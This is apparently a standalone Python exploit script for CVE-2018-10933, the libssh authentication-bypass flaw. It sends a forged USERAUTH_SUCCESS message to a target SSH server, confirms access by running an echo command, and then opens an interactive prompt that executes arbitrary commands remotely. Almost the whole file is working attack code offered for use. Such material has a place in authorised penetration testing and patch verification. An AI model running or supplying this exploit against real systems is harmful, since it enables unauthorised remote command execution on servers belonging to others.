libssh_exploit_CVE-2018-10933.py

#!/usr/bin/env python3

############################################################
# A LibSSH RCE tool by @ticarpi                            #
# Cloned/carved/tweaked from multiple sources              #
# This checks an SSH port to see if it's vulnerable to     #
# CVE-2018-10933                                           #
# If it is it will prompt you for commands to run remotely #
# Usage:                                                   #
# $ python libssh_exploit_CVE-2018-10933.py <ip> <port>    #
# $ python libssh_exploit_CVE-2018-10933.py 10.10.1.100 22 #
############################################################

import sys
import paramiko
import socket
import logging

# pip3 install paramiko==2.0.8

#logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
logging.basicConfig(stream=sys.stdout)
bufsize = 2048



def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()
        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)
        client = transport.open_session(timeout=10)
        client.exec_command(command)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)
        output = stdout.read()
        error = stderr.read()
        stdout.close()
        stderr.close()
        return (output+error).decode()

    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    vulntest = execute(sys.argv[1], sys.argv[2], "echo VULNERABLE")
    # print(vulntest)
    if "VULN" in vulntest:
        print("Vulnerable")
    else:
        print("Not Vulnerable")
        exit()
    while True:
        command = input("Enter command (Ctrl+C to exit):")
        print(execute(sys.argv[1], sys.argv[2], command))